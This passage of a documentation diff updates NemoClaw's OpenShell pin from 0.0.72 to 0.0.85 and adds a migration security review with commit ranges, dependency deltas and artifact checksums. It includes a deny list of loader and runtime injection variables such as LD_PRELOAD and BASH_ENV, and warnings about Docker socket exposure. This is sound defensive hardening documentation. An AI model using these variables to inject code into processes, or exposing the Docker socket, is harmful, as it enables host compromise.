 It also rejects `GCE_METADATA_HOST`, `GCE_METADATA_IP`, and `METADATA_SERVER_DETECTION`, which OpenShell rewrites for its metadata emulator.
-The child-visible compatibility list is pinned to OpenShell `v0.0.72` commit `8cb16de9eae4c44d7d31e1493747d8c10abb5963` and must be reviewed with every OpenShell version change.
+NemoClaw pins the child-visible compatibility list to OpenShell `v0.0.85` commit `3dee5570a46076a57a3b056f35f35ebc0861ac85`.
+Review this list with every OpenShell version change.
+
+OpenShell reserves credential names matching `v[0-9]+_[A-Za-z0-9_]+` for revisioned placeholders.
+NemoClaw rejects names such as `v10_GITHUB_TOKEN` because OpenShell skips them instead of attaching a credential resolver.
 
 NemoClaw rejects host subprocess controls such as `PATH`, proxy or TLS variables, and `OPENSHELL_*`, `GRPC_*`, `LC_*`, or `XDG_*` keys.
 Loader, shell, language, and agent runtime controls such as `LD_PRELOAD`, `BASH_ENV`, `NODE_OPTIONS`, `PYTHONHOME`, `NEMOCLAW_*`, and `OPENCLAW_*` are rejected as well.
@@ -86,8 +90,8 @@ OpenShell re-resolves the hostname for each new connection, requires every curre
 
 A DNS change to a private, special-use, or otherwise unpinned address fails closed instead of widening the route.
 
-Authenticated MCP rejects `host.openshell.internal`, `host.docker.internal`, and `host.containers.internal` on stable OpenShell v0.0.72.
-That release does not expose an attested driver gateway address that NemoClaw can pin.
+Authenticated MCP rejects `host.openshell.internal`, `host.docker.internal`, and `host.containers.internal` on stable OpenShell `v0.0.85`.
+That release has a trusted-gateway branch for one narrow link-local topology, but it does not expose an attested driver gateway address that NemoClaw can pin.
 Use a normal HTTPS DNS endpoint with public address records until OpenShell exposes attested gateway state for exact policy pinning.
 
 ## Understand the Generated Method Profile
diff --git a/docs/reference/commands.mdx b/docs/reference/commands.mdx
index ad3c75cef5..303d509e66 100644
--- a/docs/reference/commands.mdx
+++ b/docs/reference/commands.mdx
@@ -906,11 +906,16 @@ printf 'hello\n' | $$nemoclaw my-assistant exec --stdin -- cat
 ssh dgx-spark '$$nemoclaw my-assistant exec --no-stdin -- pwd'
 ```
 
-The OpenShell exec endpoint rejects any command argument (the values after `--`) that contains a newline or carriage return, so multi-line commands such as a `bash` heredoc cannot be passed through `exec`.
-NemoClaw detects this before dispatch, names the offending argument position, and exits with status `2` instead of surfacing the lower-level OpenShell `InvalidArgument` error.
-Join the statements with semicolons (`$$nemoclaw <name> exec -- bash -lc "cmd1; cmd2"`).
-Pipe the script into the sandbox shell over stdin (`printf 'cmd1\ncmd2\n' | $$nemoclaw <name> exec --stdin -- bash`).
-Or write the script to a file in the sandbox and run it (`$$nemoclaw <name> exec -- bash <script-path>`).
+OpenShell preserves line endings and quote characters inside each command argument, so inline scripts and heredocs can be passed as one argument after `--`.
+For example, a shell variable keeps the multi-line script in one argv element:
+
+```bash
+script=$'cat <<\'EOF\'\nline one\nline two\nEOF'
+$$nemoclaw <name> exec -- bash -lc "$script"
+```
+
+NUL bytes are still rejected in command arguments.
+Line breaks are accepted only in command argv: `--workdir` remains single-line, and NemoClaw does not expose OpenShell request-environment injection on this command.
 
 | Flag | Description |
 |------|-------------|
@@ -1407,11 +1412,16 @@ By default, NemoClaw inherits caller stdin only when it is a terminal.
 Non-terminal or unavailable stdin is closed so SSH, CI, and other one-shot commands cannot wait on an inherited pipe.
 Pass `--stdin` to forward an intentional pipe, or `--no-stdin` to close terminal stdin explicitly.
 
-The OpenShell exec endpoint rejects any command argument (the values after `--`) that contains a newline or carriage return, so multi-line commands such as a `bash` heredoc cannot be passed through `exec`.
-NemoClaw detects this before dispatch, names the offending argument position, and exits with status `2` instead of surfacing the lower-level OpenShell `InvalidArgument` error.
-Join the statements with semicolons (`$$nemoclaw <name> exec -- bash -lc "cmd1; cmd2"`).
-Pipe the script into the sandbox shell over stdin (`printf 'cmd1\ncmd2\n' | $$nemoclaw <name> exec --stdin -- bash`).
-Or write the script to a file in the sandbox and run it (`$$nemoclaw <name> exec -- bash <script-path>`).
+OpenShell preserves line endings and quote characters inside each command argument, so inline scripts and heredocs can be passed as one argument after `--`.
+For example, a shell variable keeps the multi-line script in one argv element:
+
+```bash
+script=$'cat <<\'EOF\'\nline one\nline two\nEOF'
+$$nemoclaw <name> exec -- bash -lc "$script"
+```
+
+NUL bytes are still rejected in command arguments.
+Line breaks are accepted only in command argv: `--workdir` remains single-line, and NemoClaw does not expose OpenShell request-environment injection on this command.
 
 | Flag | Description |
 |------|-------------|
@@ -1965,7 +1975,7 @@ The full URL and path are persisted and displayed, so URLs cannot contain userin
 Server names must start with a letter and contain at most 64 letters, digits, hyphens, or underscores, and endpoint hostnames must use canonical lowercase DNS labels.
 NemoClaw rejects invalid names and endpoints before it writes lifecycle state or changes OpenShell resources.
 NemoClaw generates a narrow `protocol: mcp` policy for the destination, literal path, adapter binaries, pinned addresses, explicit MCP methods, and a 131,072-byte request-body limit.
-OpenShell `0.0.72` evaluates that policy before replacing the attached provider placeholder in the allowed request header.
+OpenShell `0.0.85` evaluates that policy before replacing the attached provider placeholder in the allowed request header.
 Static provider placeholders are sandbox-scoped rather than endpoint-exclusive, so do not grant broader inspected-HTTP routes to the same adapter runtime and credential key.
 The sandbox client connects directly through OpenShell's existing egress path, and NemoClaw does not run a host-side MCP data-plane bridge, proxy, relay, or listener.
 After the add commits, NemoClaw freshly verifies the exact generated policy, expected provider attachment, recorded provider ID, generic type, valid resource version, and exactly one credential key matching the recorded key.
@@ -2064,7 +2074,7 @@ For a v1 image, NemoClaw removes the exact registry-owned entry from the legacy
 The command fails closed on observed drift.
 `--force` may remove a modified same-name agent adapter entry, but provider deletion still requires the exact recorded ID, type, and credential key and policy deletion still requires exact owned content.
 Residuals preserve registry state.
-OpenShell `0.0.72` mutates providers by name, so do not concurrently replace a managed provider through another OpenShell client during this command.
+OpenShell `0.0.85` mutates providers by name, so do not concurrently replace a managed provider through another OpenShell client during this command.
 
 When an interrupted destroy leaves a prepared-only transaction, deletion is not durably confirmed.
 If the sandbox is still live, run `$$nemoclaw <name> mcp remove <server> --force` with the affected server name.
@@ -3184,7 +3194,7 @@ Passthrough commands do not consume flags intended for the downstream command as
 | Variable | Default | Service |
 |----------|---------|---------|
 | `NEMOCLAW_GATEWAY_PORT` | 8080 | OpenShell gateway port |
-| `NEMOCLAW_GATEWAY_BIND_ADDRESS` | 127.0.0.1 | The OpenShell gateway uses this bind address; Docker-driver gateways on OpenShell 0.0.72 keep it on loopback while gateway JWT auth is active. |
+| `NEMOCLAW_GATEWAY_BIND_ADDRESS` | 127.0.0.1 | The OpenShell gateway uses this bind address; Docker-driver gateways on OpenShell 0.0.85 keep it on loopback while gateway JWT auth is active. |
 <AgentOnly variant="openclaw,hermes">
 | `NEMOCLAW_DASHBOARD_PORT` | 18789 (auto-derived from `CHAT_UI_URL` port if set) | Dashboard or API forward |
 </AgentOnly>
@@ -3206,7 +3216,7 @@ When you run multiple NemoClaw gateways with different `NEMOCLAW_GATEWAY_PORT` v
 On non-WSL hosts, `NEMOCLAW_OLLAMA_PORT` and `NEMOCLAW_OLLAMA_PROXY_PORT` must be different.
 If you run Ollama on port 11435, set `NEMOCLAW_OLLAMA_PROXY_PORT` to another free port before onboarding.
 
-`NEMOCLAW_GATEWAY_BIND_ADDRESS` accepts only `127.0.0.1` and `0.0.0.0`, but Docker-driver gateways on OpenShell 0.0.72 reject `0.0.0.0` while gateway JWT auth is active.
+`NEMOCLAW_GATEWAY_BIND_ADDRESS` accepts only `127.0.0.1` and `0.0.0.0`, but Docker-driver gateways on OpenShell 0.0.85 reject `0.0.0.0` while gateway JWT auth is active.
 <AgentOnly variant="openclaw,hermes">
 Keep the OpenShell gateway on loopback and use `NEMOCLAW_DASHBOARD_BIND` when you need remote browser/API access.
 
@@ -3457,7 +3467,7 @@ Set them before running `$$nemoclaw onboard`.
 | `NEMOCLAW_SANDBOX_BASE_IMAGE_REFRESH` | `1`, `true`, `yes`, or `on` to enable | Bypasses recorded sandbox base-image resolution metadata during onboarding, recreation, and rebuild. NemoClaw reruns candidate resolution but can still use a compatible image from Docker's local image store. Versioned release candidates that exist locally but fail validation are refreshed from the registry once during normal resolution. This setting does not discard onboarding session state. |
 | `NEMOCLAW_SANDBOX_BASE_LOCAL_BUILD` | unset or `auto` (default); `1`, `true`, `yes`, or `on` to enable; `0`, `false`, `no`, or `off` to disable | Controls whether base-image resolution may build a compatible image locally. The default allows builds during normal CLI runs and disables them when `NODE_ENV=test` or `VITEST=true`. When source inputs or a missing/incompatible release-version base require a fresh build, disabling local builds makes resolution fail instead of using an unproven image. |
 | `NEMOCLAW_DOCKER_GPU_PATCH` | unset, `auto`, `fallback`, `1`, or `0`; other legacy nonzero values remain accepted through `v0.0.x` and will be removed in `v0.1.0` | Selects Linux Docker-driver GPU routing. Unset, `auto`, or `0` uses native OpenShell GPU injection on ordinary native Linux. `fallback` explicitly opts into one native attempt followed by one bounded compatibility retry when trusted host evidence identifies a GPU-routing failure. `1` and legacy nonzero values select the compatibility patch from the outset. Docker Desktop WSL and Jetson/Tegra use the compatibility path by default; Docker Desktop WSL ignores `0`, while Jetson/Tegra accepts `0` only as a troubleshooting override that bypasses device-group propagation. |
-| `NEMOCLAW_OPENSHELL_GATEWAY_CONTAINER_PATCH` | `1` to enable; disabled by default | This setting explicitly opts into the Linux gateway compatibility container for an older host ABI or a diagnostic run; use it only on a trusted local host because it uses host networking and mounts the Docker socket read-only even though the socket still exposes the privileged Docker API; prefer OpenShell 0.0.72's directly supported glibc 2.28+ path; see the [OpenShell 0.0.72 compatibility review](/user-guide/openclaw/security/openshell-0.0.72-compatibility-review#source-of-truth-boundaries) for details. |
+| `NEMOCLAW_OPENSHELL_GATEWAY_CONTAINER_PATCH` | `1` to enable; disabled by default | This setting explicitly opts into the Linux gateway compatibility container for an older host ABI or a diagnostic run; use it only on a trusted local host because it uses host networking and mounts the Docker socket read-only even though the socket still exposes the privileged Docker API; prefer OpenShell 0.0.85's directly supported glibc 2.28+ path; see the [OpenShell gateway compatibility review](/user-guide/openclaw/security/openshell-0.0.72-compatibility-review#source-of-truth-boundaries) for the unchanged container boundary. |
 | `NEMOCLAW_OPENSHELL_GATEWAY_BIN` | path | Advanced override for the `openshell-gateway` binary used by the Linux Docker-driver standalone fallback. Defaults to the binary next to `openshell`, then common install paths. |
 | `NEMOCLAW_OPENSHELL_SANDBOX_BIN` | path | Advanced override for the `openshell-sandbox` binary used by the Linux Docker-driver standalone fallback. Defaults to the binary next to `openshell`, then common install paths. |
 | `NEMOCLAW_OPENSHELL_GATEWAY_STATE_DIR` | path | Advanced override for the Linux Docker-driver gateway SQLite state directory and standalone-fallback PID file. Defaults to `~/.local/state/nemoclaw/openshell-docker-gateway`. |
diff --git a/docs/reference/platform-support.mdx b/docs/reference/platform-support.mdx
index fc80acf9eb..e048a3d222 100644
--- a/docs/reference/platform-support.mdx
+++ b/docs/reference/platform-support.mdx
@@ -162,7 +162,7 @@ They are listed here so launch material, sales conversations, and support triage
 | Item | Status | Why |
 |------|--------|-----|
 | Podman / other container runtimes | Unsupported | Onboard surfaces an explicit unsupported-runtime error for Podman (`src/lib/onboard/fatal-runtime-preflight.ts` prints the rejection; `src/lib/onboard/preflight.ts` flags the unsupported runtime upstream). Only Docker Engine, Docker Desktop, and Colima are supported. See issue #420 (closed). |
-| Intel Mac (macOS x86_64) | Unsupported | OpenShell does not publish macOS x86_64 standalone gateway assets. Install hard-fails on x86_64 macOS (`scripts/install-openshell.sh:663`). See issue #954 (closed). |
+| Intel Mac (macOS x86_64) | Unsupported | OpenShell does not publish macOS x86_64 standalone gateway assets. Install hard-fails on x86_64 macOS (`scripts/install-openshell.sh:689`). See issue #954 (closed). |
 | Non-Ubuntu/Debian Linux distros | Unsupported | Installer assumes `apt-get`. Fedora/Rocky/Alma/Arch/NixOS are not validated and the installer's package-manager probes do not cover them. See open issue #899 (Fedora hang). |
 | Native Kubernetes or OpenShift deployments | Unsupported | NemoClaw runs the sandbox as a Docker container, not a Kubernetes pod. The default Docker-driver topology does not embed k3s. Operator-managed K8s/OpenShift deployments are out of scope; see issue #407 (community OpenShift through agent-sandbox CRD). |
 | Air-gapped / offline installs | Unsupported | Onboard assumes network reachability for package fetches, container pulls, and provider validation. See open issues #4872 and #2218 (production-deployment epic covering air-gapped support, China network guidance, multi-host topology). |
diff --git a/docs/reference/troubleshoot-mcp-servers.mdx b/docs/reference/troubleshoot-mcp-servers.mdx
index 68dfa7634f..5e7c9bf3b5 100644
--- a/docs/reference/troubleshoot-mcp-servers.mdx
+++ b/docs/reference/troubleshoot-mcp-servers.mdx
@@ -30,6 +30,9 @@ Compare status for the same server on a known-good host.
 A `credential resolution: unknown` verdict with an endpoint or policy detail means the probe could not reach a judgment.
 Fix the reported endpoint or policy condition, then rerun status.
 
+A detail containing `CONNECT 503` means OpenShell failed closed before TLS setup because gateway TLS termination state was unavailable.
+Inspect the OpenShell gateway's ephemeral CA generation and CA-file initialization, repair the reported condition, and rerun `mcp status <server>`.
+
 ## Provider Is Missing During Restart
 
 If restart reports a missing provider and the original credential is not registered in OpenShell, export the same variable name used during add and retry.
diff --git a/docs/reference/troubleshooting.mdx b/docs/reference/troubleshooting.mdx
index 32368fe9b6..ad84ce43b2 100644
--- a/docs/reference/troubleshooting.mdx
+++ b/docs/reference/troubleshooting.mdx
@@ -304,7 +304,7 @@ NEMOCLAW_DASHBOARD_BIND=0.0.0.0 NEMOCLAW_GATEWAY_PORT=8990 $$nemoclaw onboard
 Use `NEMOCLAW_DASHBOARD_BIND=0.0.0.0` again on later `$$nemoclaw <sandbox> connect` calls.
 If the sandbox was originally created without remote bind, recreate it with the same onboard command plus `--recreate-sandbox` before connecting remotely.
 
-Docker-driver gateways on OpenShell 0.0.72 reject `NEMOCLAW_GATEWAY_BIND_ADDRESS=0.0.0.0` while gateway JWT auth is active.
+Docker-driver gateways on OpenShell 0.0.85 reject `NEMOCLAW_GATEWAY_BIND_ADDRESS=0.0.0.0` while gateway JWT auth is active.
 
 Use `NEMOCLAW_GATEWAY_BIND_ADDRESS=0.0.0.0` only on supported gateway modes and only when other hosts on the network should be able to reach the gateway.
 
@@ -312,14 +312,14 @@ Use `NEMOCLAW_GATEWAY_BIND_ADDRESS=0.0.0.0` only on supported gateway modes and
 
 ### Older-glibc gateway compatibility container
 
-OpenShell 0.0.72 directly supports Linux hosts with glibc 2.28 or newer.
+OpenShell 0.0.85 directly supports Linux hosts with glibc 2.28 or newer.
 On an older trusted host, `NEMOCLAW_OPENSHELL_GATEWAY_CONTAINER_PATCH=1` explicitly opts into NemoClaw's compatibility container.
 Leave it unset on supported hosts.
 
 The compatibility container uses host networking and mounts the host Docker socket read-only.
 A read-only socket mount still permits privileged Docker API operations and can control the host, so do not enable this mode on an untrusted or shared host.
 The gateway remains loopback-bound, and startup fails closed unless the configured Unix socket answers as a Docker daemon.
-See the [OpenShell 0.0.72 compatibility review](../security/openshell-0.0.72-compatibility-review#source-of-truth-boundaries) for the accepted boundary and removal conditions.
+See the [OpenShell gateway compatibility review](../security/openshell-0.0.72-compatibility-review#source-of-truth-boundaries) for the unchanged container boundary and removal conditions.
 
 Refer to [Environment Variables](commands#environment-variables) for the full list of port overrides.
 
diff --git a/docs/security/best-practices.mdx b/docs/security/best-practices.mdx
index 439acaf65f..8274edd713 100644
--- a/docs/security/best-practices.mdx
+++ b/docs/security/best-practices.mdx
@@ -656,7 +656,7 @@ NemoClaw binds the OpenShell gateway to loopback by default.
 |---|---|
 | Default | `NEMOCLAW_GATEWAY_BIND_ADDRESS=127.0.0.1`. |
 | What you can change | Keep Docker-driver gateways on loopback. Set `NEMOCLAW_DASHBOARD_BIND=0.0.0.0` during onboarding and on later `connect` calls for remote dashboard/API access. Recreate a local-only sandbox before changing it to a remote bind. |
-| Risk if relaxed | Other hosts on the network may be able to reach the OpenShell gateway; Docker-driver gateways on OpenShell 0.0.72 reject wildcard gateway binds while gateway JWT auth is active. |
+| Risk if relaxed | Other hosts on the network may be able to reach the OpenShell gateway; Docker-driver gateways on OpenShell 0.0.85 reject wildcard gateway binds while gateway JWT auth is active. |
 | Recommendation | Keep the gateway loopback default and expose only the dashboard forward when remote access is needed. |
 
 ### Gateway Compatibility Container
@@ -668,9 +668,9 @@ On Linux hosts whose glibc is older than the OpenShell gateway binary requires,
 | Default | NemoClaw does not auto-enable the compatibility container on ABI mismatch. If `NEMOCLAW_OPENSHELL_GATEWAY_CONTAINER_PATCH=1` is set, the container keeps the main gateway listener on `127.0.0.1`, uses host networking so OpenShell computes the same Docker bridge callback addresses as a host-side gateway, mounts the Docker socket read-only, drops Linux capabilities, sets `no-new-privileges`, and publishes no extra Docker ports. |
 | What you can change | Opt in with `NEMOCLAW_OPENSHELL_GATEWAY_CONTAINER_PATCH=1`, keep the path disabled with `NEMOCLAW_OPENSHELL_GATEWAY_CONTAINER_PATCH=0`, or run on a host/OpenShell build combination where the gateway binary launches directly. |
 | Risk if relaxed | The Docker socket remains a privileged host API even when bind-mounted read-only. Treat this mode as equivalent to trusting the host user that can drive Docker, and do not enable it on untrusted shared hosts. |
-| Recommendation | Prefer a host with glibc 2.28 or newer, which OpenShell 0.0.72 supports directly, and use the compatibility container only as an explicit local bridge on an older trusted host. |
+| Recommendation | Prefer a host with glibc 2.28 or newer, which OpenShell 0.0.85 supports directly, and use the compatibility container only as an explicit local bridge on an older trusted host. |
 
-See [OpenShell 0.0.72 Compatibility Review](./openshell-0.0.72-compatibility-review) for source-of-truth boundaries and contract coverage.
+See [OpenShell Gateway Compatibility Review](./openshell-0.0.72-compatibility-review) for the unchanged compatibility-container source-of-truth boundaries.
 
 ### Insecure Auth Derivation
 
diff --git a/docs/security/openshell-0.0.85-migration-review.md b/docs/security/openshell-0.0.85-migration-review.md
new file mode 100644
index 0000000000..170ce1302f
--- /dev/null
+++ b/docs/security/openshell-0.0.85-migration-review.md
@@ -0,0 +1,813 @@
+<!-- SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. -->
+<!-- SPDX-License-Identifier: Apache-2.0 -->
+
+# OpenShell 0.0.72 to 0.0.85 migration review
+
+## Status and decision
+
+OpenShell published stable tag `v0.0.85` at verified commit
+[`3dee5570a46076a57a3b056f35f35ebc0861ac85`](https://github.com/NVIDIA/OpenShell/commit/3dee5570a46076a57a3b056f35f35ebc0861ac85).
+This review binds NemoClaw's `0.0.85` selectors to that exact source and its
+published artifacts. It is not blanket approval for every upstream platform or
+driver: exact-head NemoClaw CI/advisor review, the supported-platform proofs, and
+the physical DGX Spark credential-substitution proof below remain separate merge
+and issue-closure gates.
+
+The source under review includes
+[`40194f935ef6e29cb07500b9109314778ab6915c`](https://github.com/NVIDIA/OpenShell/commit/40194f935ef6e29cb07500b9109314778ab6915c),
+which prevents a credential placeholder from leaving the proxy unresolved. That
+change fails closed when the resolver or TLS-termination state is missing; it does
+not prove that the affected DGX Spark host can initialize that state and complete a
+real credential-bearing MCP call. NVIDIA/NemoClaw#6379 remains open until the
+physical Docker 27 DGX Spark reproducer reports honest status and completes a real
+MCP tool call with credential substitution.
+
+## Audit method and exact boundary
+
+The previous identity is OpenShell `v0.0.72` at
+`8cb16de9eae4c44d7d31e1493747d8c10abb5963`.
+The selected identity is the exact stable tag SHA above, not a local branch name
+or the moving `dev` tag.
+It descends from the published `v0.0.82` and `v0.0.83` releases through source
+tag `v0.0.84`, whose release workflow failed before publication, and terminates
+at the successfully published `v0.0.85` tag.
+
+The audit enumerated every stable adjacent tag, then read the release notes,
+complete commit list, changed paths, source diffs, and upstream tests for each
+range. Release notes were treated as leads rather than proof. The resulting boundary
+contains 13 adjacent ranges, 67 commits, and 283 distinct changed paths in the
+aggregate `v0.0.72..v0.0.85` comparison.
+
+The authenticated-MCP network review pins the resolve-validate-connect path to
+`crates/openshell-supervisor-network/src/proxy.rs:2648-2674`,
+`crates/openshell-supervisor-network/src/proxy.rs:2699-2739`,
+`crates/openshell-supervisor-network/src/proxy.rs:2794-2803`,
+`crates/openshell-supervisor-network/src/proxy.rs:1079-1081`,
+`crates/openshell-supervisor-network/src/proxy.rs:4093-4100`, and
+`crates/openshell-supervisor-network/src/proxy.rs:4340-4342` at the verified
+stable commit. These citations bind the migration decision to the reviewed
+address-resolution, validation, and connection paths.
+
+The ledger was produced with:
+
+```bash
+collect-release-ledger.py \
+  --repo <read-only-openshell-checkout> \
+  --from v0.0.72 \
+  --to v0.0.85 \
+  --required-fix 40194f935ef6e29cb07500b9109314778ab6915c
+```
+
+| Range | Commits | Changed paths | Diff size |
+|---|---:|---:|---:|
+| `v0.0.72 -> v0.0.73` | 5 | 27 | +1,530 / -531 |
+| `v0.0.73 -> v0.0.74` | 6 | 25 | +328 / -163 |
+| `v0.0.74 -> v0.0.75` | 2 | 26 | +3,416 / -5 |
+| `v0.0.75 -> v0.0.76` | 3 | 28 | +2,267 / -201 |
+| `v0.0.76 -> v0.0.77` | 3 | 7 | +452 / -27 |
+| `v0.0.77 -> v0.0.78` | 6 | 23 | +198 / -115 |
+| `v0.0.78 -> v0.0.79` | 1 | 1 | +1 / -1 |
+| `v0.0.79 -> v0.0.80` | 5 | 15 | +1,373 / -96 |
+| `v0.0.80 -> v0.0.81` | 4 | 9 | +617 / -24 |
+| `v0.0.81 -> v0.0.82` | 12 | 76 | +7,851 / -983 |
+| `v0.0.82 -> v0.0.83` | 8 | 20 | +1,322 / -163 |
+| `v0.0.83 -> v0.0.84` | 7 | 110 | +19,151 / -857 |
+| `v0.0.84 -> v0.0.85` | 5 | 29 | +776 / -160 |
+
+Release publication is a separate gate from source ancestry:
+
+- `v0.0.73` through `v0.0.80` have published GitHub releases.
+- The `v0.0.79` release notes repeat the `v0.0.78` change list and add only the
+  `setup-uv` bump. The adjacent Git diff, not that cumulative note body, is the
+  source of truth for the `v0.0.78 -> v0.0.79` range.
+- `v0.0.81` is a source tag at `420a855ddc21a20ac528f902bd2ed7f3fc133dc9`,
+  but it has no GitHub release. Release Tag run
+  [29101552146](https://github.com/NVIDIA/OpenShell/actions/runs/29101552146)
+  failed the Ubuntu 26.04 rootless-Podman E2E job and skipped publication.
+- OpenShell `bb72d012` produced a successful Release Dev run
+  [29215426930](https://github.com/NVIDIA/OpenShell/actions/runs/29215426930),
+  but it does not expose one interchangeable version string. The released CLI,
+  gateway, and standalone sandbox binaries report `0.0.82-dev.11+gbb72d012`;
+  the pipeline Cargo version and supervisor image report
+  `0.0.82-dev.11+gbb72d0123`; and Python wheel filenames use
+  `0.0.82.dev11+gbb72d0123`. Development compatibility manifests must record
+  the observed CLI output separately from producer and component versions. A
+  moving prerelease was useful for compatibility work, but is not the stable
+  selector or final provenance record.
+- Stable tag `v0.0.82` was published by successful `Release Tag` workflow run
+  [29260186856](https://github.com/NVIDIA/OpenShell/actions/runs/29260186856)
+  at `94cdd697`. The release is neither draft nor prerelease, and its CLI and
+  gateway report `0.0.82`.
+- Stable tag `v0.0.83` was published from verified commit `e3d26dd3`.
+- `v0.0.84` is a verified source tag at `e6f319c7`, but it has no GitHub
+  release. Release Tag run
+  [29424042428](https://github.com/NVIDIA/OpenShell/actions/runs/29424042428)
+  failed the Linux arm64 snap build and did not publish release assets.
+- Stable tag `v0.0.85` was published by successful `Release Tag` workflow run
+  [29507522595](https://github.com/NVIDIA/OpenShell/actions/runs/29507522595)
+  at `3dee5570`. The release is neither draft nor prerelease, and its CLI,
+  gateway, sandbox, package, smoke, E2E, GHCR, and Helm producer jobs passed.
+
+### Rust dependency and notice delta
+
+The `v0.0.72..v0.0.82` `Cargo.lock` comparison is 48 additions and 25 removals. Its only
+new third-party package identities are `capctl 0.2.4`, checksum
+`4a6e71767585f51c2a33fed6d67147ec0343725fc3c03bf4b89fe67fede56aa5`,
+and its `bitflags 1.3.2` dependency, checksum
+`bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a`.
+The exact production path is `bitflags 1.3.2 -> capctl 0.2.4 ->
+openshell-supervisor-process -> openshell-sandbox`. `afc06dd2` uses
+`capctl::caps::bounding::{clear, probe, clear_unknown}` for the new capability
+bounding-set behavior, so this is security-boundary code rather than an
+incidental build dependency.
+
+The retained crates.io `capctl` source identifies upstream Git commit
+`6b89ddb3e79493a5e34bb681c00053d6122968bd`, is MIT-licensed, and has no build
+script. Its implementation contains unsafe FFI around Linux `prctl`, `capget`,
+`capset`, and extended-attribute operations. `bitflags 1.3.2` identifies upstream
+Git commit `ed185cfb1c447c1b4bd6ac021c9ec3bb02c9e2f2` and is dual
+MIT/Apache-2.0. A read-only RustSec advisory-database search on July 12, 2026
+found no advisory entry naming `capctl`; that absence is inventory evidence, not
+proof that the unsafe boundary is vulnerability-free.
+
+OpenShell's `THIRD-PARTY-NOTICES` object is byte-identical at `v0.0.72` and
+`v0.0.85` (`41eda0e0a83429e874544b507977c3a56f5a489f`). It does not name
+`capctl` and still records only `bitflags 2.10.0`, while the stable lock has
+`bitflags 1.3.2` and `2.11.1`. OpenShell has source-directory CycloneDX tooling,
+but its license check is advisory and the release job neither generates nor
+publishes that SBOM. The stable release does publish SLSA attestations for the
+consumed archives, as recorded below, but not for the supervisor OCI image. The
+lock-to-binary dependency inventory, notices/licenses, advisory results, archive
+provenance, and image provenance must therefore remain separate claims; the
+unchanged notice cannot be treated as evidence that the Rust dependency graph
+stayed constant.
+
+The `v0.0.82..v0.0.85` lock delta adds the first-party
+`openshell-gateway-interceptors` and `openshell-sdk` workspace crates plus
+third-party `prost-reflect 0.16.5`, checksum
+`01b80ea363c31af2de2b92e3c07ed1156628f7838c4afb4df75ee78a37fedbd1`.
+Lowering the Python floor to 3.11 also adds `tomli 2.4.1` to `uv.lock`, with
+source-distribution checksum
+`7c7e1a961a0b2f2472c1ac5b69affa0ae1132c39adcb67aba98568702b9cc23f`.
+The unchanged notices file names neither package, and the release still does
+not publish a lock-derived SBOM for the consumed binaries.
+NemoClaw consumes the published CLI, gateway, sandbox, and supervisor artifacts
+rather than linking either new workspace crate, so their behavior is audited
+below without adding a downstream package dependency.
+
+## Artifact baseline and provenance gap
+
+The previously shipped `0.0.72` supervisor index
+`sha256:80ed9cda5bf672fefdb9dcd4604b40a8b09c0891b6eb9d03e10227c7e3dfb49d`
+resolves to these exact platform identities:
+
+| Platform | Child manifest | Config |
+|---|---|---|
+| Linux amd64 | `sha256:e97174326ee25c896117e854c791945d0c458a26bc9d6eab004ccd6c19d86ee7` | `sha256:b34f500c495871bf92d8a04011a210167e95f3650927b3bd67dde3ddcc021ac2` |
+| Linux arm64 | `sha256:0679e02da0bd480a3e2f119dc2d205269336c9c01d7d2c8f18d05400f89d160e` | `sha256:e53f2ac5b7b3667833271f62f053887d2be9f223d2699b7e39f88c78fd9df373` |
+
+Both child configs set `/openshell-sandbox` as the entrypoint but expose no OCI
+source labels. A read-only registry audit on July 12, 2026 found that GHCR
+returned no referrers index for the shipped manifest and that all 2,905
+supervisor tags contained no digest-derived signature, attestation, or SBOM tag
+for that index. Therefore `0.0.72` has no verifiable source-to-image attestation;
+matching release tags or timestamps cannot fill the gap. The immutable index
+digest is the strongest enforceable runtime control for the baseline, while the
+child manifest and config identities above are audit evidence rather than source
+provenance. The stable `0.0.85` audit below found the same missing OCI
+attestation and source labels and explicitly retains that provenance gap.
+NemoClaw cannot manufacture a missing upstream attestation.
+
+NemoClaw now validates the shape of every consumed OpenShell archive before any
+extraction: the asset must contain exactly one regular file with the expected
+CLI, gateway, or sandbox binary name. Absolute paths, parent traversal, extra or
+duplicate members, links, and devices fail closed. This structural validation is
+independent of release SHA-256 verification and also constrains the explicitly
+unverified development-channel path.
+
+### Stable v0.0.85 artifact evidence
+
+The successful `Release Tag` run above published three checksum manifests whose
+release-asset SHA-256 values are independently trusted by NemoClaw's base-owned
+verifier:
+
+| Manifest | SHA-256 |
+|---|---|
+| `openshell-checksums-sha256.txt` | `6554b3f96c04006d661519786d40d17e34c7860b7aac8fd35259ef2aea01567f` |
+| `openshell-gateway-checksums-sha256.txt` | `cc4f32afed376ebe9b43cccdb4d2a77b2524b57132a6b56bb88d705e02420f86` |
+| `openshell-sandbox-checksums-sha256.txt` | `b6ac353c933fa4cf9a3ef11d66cce6635f39ecc2e928d9c8ff1783ca797308b3` |
+
+Every archive consumed by the installer and Brev path matches both the release
+manifest and GitHub's release-asset digest:
+
+| Consumed archive | SHA-256 |
+|---|---|
+| `openshell-x86_64-unknown-linux-musl.tar.gz` | `078fa086f506832c3d47d992e6109f26074bdd55916ce268e47c3971423459eb` |
+| `openshell-aarch64-unknown-linux-musl.tar.gz` | `3cf353e7994d5835a233fe0641f9a860779190b054d0f90a04c897be782734b8` |
+| `openshell-aarch64-apple-darwin.tar.gz` | `522c963f9515c7325b978e89022de76227ac245eefe1371292af1424434e2067` |
+| `openshell-gateway-x86_64-unknown-linux-gnu.tar.gz` | `718cc9f942f88565cacb13c39717b128d6acc8d336212d42d26243f36ab19ece` |
+| `openshell-gateway-aarch64-unknown-linux-gnu.tar.gz` | `09f2823f6e9c5f70f4482b200206eac455d789618da4ebe4acff042d794e7162` |
+| `openshell-gateway-aarch64-apple-darwin.tar.gz` | `5de3e08ad1bdb0cdd01373999f537edca3d8aca22ae1c29bc9926969fe401e45` |
+| `openshell-sandbox-x86_64-unknown-linux-gnu.tar.gz` | `94306f057d862cd5c34a0daa7692491733bc5ca528a7b92f9f62f717fb70a9be` |
+| `openshell-sandbox-aarch64-unknown-linux-gnu.tar.gz` | `2c52b2971aecf125e41ed160d8d2f2addf04031906ca88f120ae3d436dd6b8f7` |
+
+GitHub's SLSA verifier accepts the attestations for those archives and binds
+their exact digests to source commit `3dee5570`, the release workflow, and run
+attempt. Archive-shape inspection found exactly the expected regular binary in
